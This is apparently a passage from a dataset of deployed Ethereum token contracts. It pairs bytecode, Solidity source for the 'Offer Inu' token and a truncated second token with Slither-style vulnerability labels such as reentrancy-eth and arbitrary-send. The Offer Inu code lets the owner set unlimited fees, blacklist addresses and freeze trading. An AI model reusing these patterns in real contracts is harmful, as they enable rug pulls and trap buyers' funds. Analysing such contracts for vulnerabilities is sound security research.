5257600080fd5b8235611b5d81611e95565b91506020830135611af381611eaa565b60008060408385031215611b8057600080fd5b8235611b8b81611e95565b946020939093013593505050565b60006020808385031215611bac57600080fd5b823567ffffffffffffffff80821115611bc457600080fd5b818501915085601f830112611bd857600080fd5b813581811115611bea57611bea611e7f565b8060051b604051601f19603f83011681018181108582111715611c0f57611c0f611e7f565b604052828152858101935084860182860187018a1015611c2e57600080fd5b600095505b83861015611c5857611c4481611a7b565b855260019590950194938601938601611c33565b5098975050505050505050565b600060208284031215611c7757600080fd5b813561148a81611eaa565b600060208284031215611c9457600080fd5b815161148a81611eaa565b600080600060608486031215611cb457600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b81811015611cfa57858101830151858201604001528201611cde565b81811115611d0c576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611da75784516001600160a01b031683529383019391830191600101611d82565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611ddb57611ddb611e53565b500190565b600082611dfd57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611e1c57611e1c611e53565b500290565b600082821015611e3357611e33611e53565b500390565b6000600019821415611e4c57611e4c611e53565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107fd57600080fd5b80151581146107fd57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e49d1cff5c9de7b16439f1f5e6ebfc9014aec5df1abec28fe8475e9e8183502064736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 9,141 |
0x04be6ec0ab8aa51bb8a51e666e1d659f19c19b28
|
/**
*Submitted for verification at Etherscan.io on 2022-04-14
*/
/**
"I'm Gonna Make Him An Offer He Can't Refuse" - Elon Musk
https://t.me/offerinueth
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract OfferInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Offer Inu";
string private constant _symbol = "OINU";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 12;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 12;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x3d1Fa52B0828701491a516b13237021c2279b736);
address payable private _marketingAddress = payable(0x3d1Fa52B0828701491a516b13237021c2279b736);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000 * 10**9;
uint256 public _maxWalletSize = 25000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610554578063dd62ed3e14610574578063ea1644d5146105ba578063f2fde38b146105da57600080fd5b8063a2a957bb146104cf578063a9059cbb146104ef578063bfd792841461050f578063c3c8cd801461053f57600080fd5b80638f70ccf7116100d15780638f70ccf71461044c5780638f9a55c01461046c57806395d89b411461048257806398a5c315146104af57600080fd5b80637d1db4a5146103eb5780637f2feddc146104015780638da5cb5b1461042e57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038157806370a0823114610396578063715018a6146103b657806374010ece146103cb57600080fd5b8063313ce5671461030557806349bd5a5e146103215780636b999053146103415780636d8aa8f81461036157600080fd5b80631694505e116101ab5780631694505e1461027257806318160ddd146102aa57806323b872dd146102cf5780632fd689e3146102ef57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024257600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461195e565b6105fa565b005b34801561020a57600080fd5b506040805180820190915260098152684f6666657220496e7560b81b60208201525b6040516102399190611a23565b60405180910390f35b34801561024e57600080fd5b5061026261025d366004611a78565b610699565b6040519015158152602001610239565b34801561027e57600080fd5b50601454610292906001600160a01b031681565b6040516001600160a01b039091168152602001610239565b3480156102b657600080fd5b50670de0b6b3a76400005b604051908152602001610239565b3480156102db57600080fd5b506102626102ea366004611aa4565b6106b0565b3480156102fb57600080fd5b506102c160185481565b34801561031157600080fd5b5060405160098152602001610239565b34801561032d57600080fd5b50601554610292906001600160a01b031681565b34801561034d57600080fd5b506101fc61035c366004611ae5565b610719565b34801561036d57600080fd5b506101fc61037c366004611b12565b610764565b34801561038d57600080fd5b506101fc6107ac565b3480156103a257600080fd5b506102c16103b1366004611ae5565b6107f7565b3480156103c257600080fd5b506101fc610819565b3480156103d757600080fd5b506101fc6103e6366004611b2d565b61088d565b3480156103f757600080fd5b506102c160165481565b34801561040d57600080fd5b506102c161041c366004611ae5565b60116020526000908152604090205481565b34801561043a57600080fd5b506000546001600160a01b0316610292565b34801561045857600080fd5b506101fc610467366004611b12565b6108bc565b34801561047857600080fd5b506102c160175481565b34801561048e57600080fd5b506040805180820190915260048152634f494e5560e01b602082015261022c565b3480156104bb57600080fd5b506101fc6104ca366004611b2d565b610904565b3480156104db57600080fd5b506101fc6104ea366004611b46565b610933565b3480156104fb57600080fd5b5061026261050a366004611a78565b610971565b34801561051b57600080fd5b5061026261052a366004611ae5565b60106020526000908152604090205460ff1681565b34801561054b57600080fd5b506101fc61097e565b34801561056057600080fd5b506101fc61056f366004611b78565b6109d2565b34801561058057600080fd5b506102c161058f366004611bfc565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c657600080fd5b506101fc6105d5366004611b2d565b610a73565b3480156105e657600080fd5b506101fc6105f5366004611ae5565b610aa2565b6000546001600160a01b0316331461062d5760405162461bcd60e51b815260040161062490611c35565b60405180910390fd5b60005b81518110156106955760016010600084848151811061065157610651611c6a565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068d81611c96565b915050610630565b5050565b60006106a6338484610b8c565b5060015b92915050565b60006106bd848484610cb0565b61070f843361070a85604051806060016040528060288152602001611db0602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111ec565b610b8c565b5060019392505050565b6000546001600160a01b031633146107435760405162461bcd60e51b815260040161062490611c35565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461078e5760405162461bcd60e51b815260040161062490611c35565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e157506013546001600160a01b0316336001600160a01b0316145b6107ea57600080fd5b476107f481611226565b50565b6001600160a01b0381166000908152600260205260408120546106aa90611260565b6000546001600160a01b031633146108435760405162461bcd60e51b815260040161062490611c35565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b75760405162461bcd60e51b815260040161062490611c35565b601655565b6000546001600160a01b031633146108e65760405162461bcd60e51b815260040161062490611c35565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461092e5760405162461bcd60e51b815260040161062490611c35565b601855565b6000546001600160a01b0316331461095d5760405162461bcd60e51b815260040161062490611c35565b600893909355600a91909155600955600b55565b60006106a6338484610cb0565b6012546001600160a01b0316336001600160a01b031614806109b357506013546001600160a01b0316336001600160a01b0316145b6109bc57600080fd5b60006109c7306107f7565b90506107f4816112e4565b6000546001600160a01b031633146109fc5760405162461bcd60e51b815260040161062490611c35565b60005b82811015610a6d578160056000868685818110610a1e57610a1e611c6a565b9050602002016020810190610a339190611ae5565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6581611c96565b9150506109ff565b50505050565b6000546001600160a01b03163314610a9d5760405162461bcd60e51b815260040161062490611c35565b601755565b6000546001600160a01b03163314610acc5760405162461bcd60e51b815260040161062490611c35565b6001600160a01b038116610b315760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610624565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bee5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610624565b6001600160a01b038216610c4f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610624565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d145760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610624565b6001600160a01b038216610d765760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610624565b60008111610dd85760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610624565b6000546001600160a01b03848116911614801590610e0457506000546001600160a01b03838116911614155b156110e557601554600160a01b900460ff16610e9d576000546001600160a01b03848116911614610e9d5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610624565b601654811115610eef5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610624565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3157506001600160a01b03821660009081526010602052604090205460ff16155b610f895760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610624565b6015546001600160a01b0383811691161461100e5760175481610fab846107f7565b610fb59190611cb1565b1061100e5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610624565b6000611019306107f7565b6018546016549192508210159082106110325760165491505b8080156110495750601554600160a81b900460ff16155b801561106357506015546001600160a01b03868116911614155b80156110785750601554600160b01b900460ff165b801561109d57506001600160a01b03851660009081526005602052604090205460ff16155b80156110c257506001600160a01b03841660009081526005602052604090205460ff16155b156110e2576110d0826112e4565b4780156110e0576110e047611226565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112757506001600160a01b03831660009081526005602052604090205460ff165b8061115957506015546001600160a01b0385811691161480159061115957506015546001600160a01b03848116911614155b15611166575060006111e0565b6015546001600160a01b03858116911614801561119157506014546001600160a01b03848116911614155b156111a357600854600c55600954600d555b6015546001600160a01b0384811691161480156111ce57506014546001600160a01b03858116911614155b156111e057600a54600c55600b54600d555b610a6d8484848461146d565b600081848411156112105760405162461bcd60e51b81526004016106249190611a23565b50600061121d8486611cc9565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610695573d6000803e3d6000fd5b60006006548211156112c75760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610624565b60006112d161149b565b90506112dd83826114be565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132c5761132c611c6a565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138057600080fd5b505afa158015611394573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113b89190611ce0565b816001815181106113cb576113cb611c6a565b6001600160a01b0392831660209182029290920101526014546113f19130911684610b8c565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061142a908590600090869030904290600401611cfd565b600060405180830381600087803b15801561144457600080fd5b505af1158015611458573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061147a5761147a611500565b61148584848461152e565b80610a6d57610a6d600e54600c55600f54600d55565b60008060006114a8611625565b90925090506114b782826114be565b9250505090565b60006112dd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611665565b600c541580156115105750600d54155b1561151757565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061154087611693565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157290876116f0565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115a19086611732565b6001600160a01b0389166000908152600260205260409020556115c381611791565b6115cd84836117db565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161291815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061164082826114be565b82101561165c57505060065492670de0b6b3a764000092509050565b90939092509050565b600081836116865760405162461bcd60e51b81526004016106249190611a23565b50600061121d8486611d6e565b60008060008060008060008060006116b08a600c54600d546117ff565b92509250925060006116c061149b565b905060008060006116d38e878787611854565b919e509c509a509598509396509194505050505091939550919395565b60006112dd83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ec565b60008061173f8385611cb1565b9050838110156112dd5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610624565b600061179b61149b565b905060006117a983836118a4565b306000908152600260205260409020549091506117c69082611732565b30600090815260026020526040902055505050565b6006546117e890836116f0565b6006556007546117f89082611732565b6007555050565b6000808080611819606461181389896118a4565b906114be565b9050600061182c60646118138a896118a4565b905060006118448261183e8b866116f0565b906116f0565b9992985090965090945050505050565b600080808061186388866118a4565b9050600061187188876118a4565b9050600061187f88886118a4565b905060006118918261183e86866116f0565b939b939a50919850919650505050505050565b6000826118b3575060006106aa565b60006118bf8385611d90565b9050826118cc8583611d6e565b146112dd5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610624565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f457600080fd5b803561195981611939565b919050565b6000602080838503121561197157600080fd5b823567ffffffffffffffff8082111561198957600080fd5b818501915085601f83011261199d57600080fd5b8135818111156119af576119af611923565b8060051b604051601f19603f830116810181811085821117156119d4576119d4611923565b6040529182528482019250838101850191888311156119f257600080fd5b938501935b82851015611a1757611a088561194e565b845293850193928501926119f7565b98975050505050505050565b600060208083528351808285015260005b81811015611a5057858101830151858201604001528201611a34565b81811115611a62576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8b57600080fd5b8235611a9681611939565b946020939093013593505050565b600080600060608486031215611ab957600080fd5b8335611ac481611939565b92506020840135611ad481611939565b929592945050506040919091013590565b600060208284031215611af757600080fd5b81356112dd81611939565b8035801515811461195957600080fd5b600060208284031215611b2457600080fd5b6112dd82611b02565b600060208284031215611b3f57600080fd5b5035919050565b60008060008060808587031215611b5c57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b8d57600080fd5b833567ffffffffffffffff80821115611ba557600080fd5b818601915086601f830112611bb957600080fd5b813581811115611bc857600080fd5b8760208260051b8501011115611bdd57600080fd5b602092830195509350611bf39186019050611b02565b90509250925092565b60008060408385031215611c0f57600080fd5b8235611c1a81611939565b91506020830135611c2a81611939565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611caa57611caa611c80565b5060010190565b60008219821115611cc457611cc4611c80565b500190565b600082821015611cdb57611cdb611c80565b500390565b600060208284031215611cf257600080fd5b81516112dd81611939565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d4d5784516001600160a01b031683529383019391830191600101611d28565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8b57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611daa57611daa611c80565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e438977830cdcf5721ce34170f0b9a3aeacc211d0550e2c00cf86bfc37d68d3764736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 9,142 |
0xeeeb15be89a735ecde9e021e0ae6b58cc91a8f22
|
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
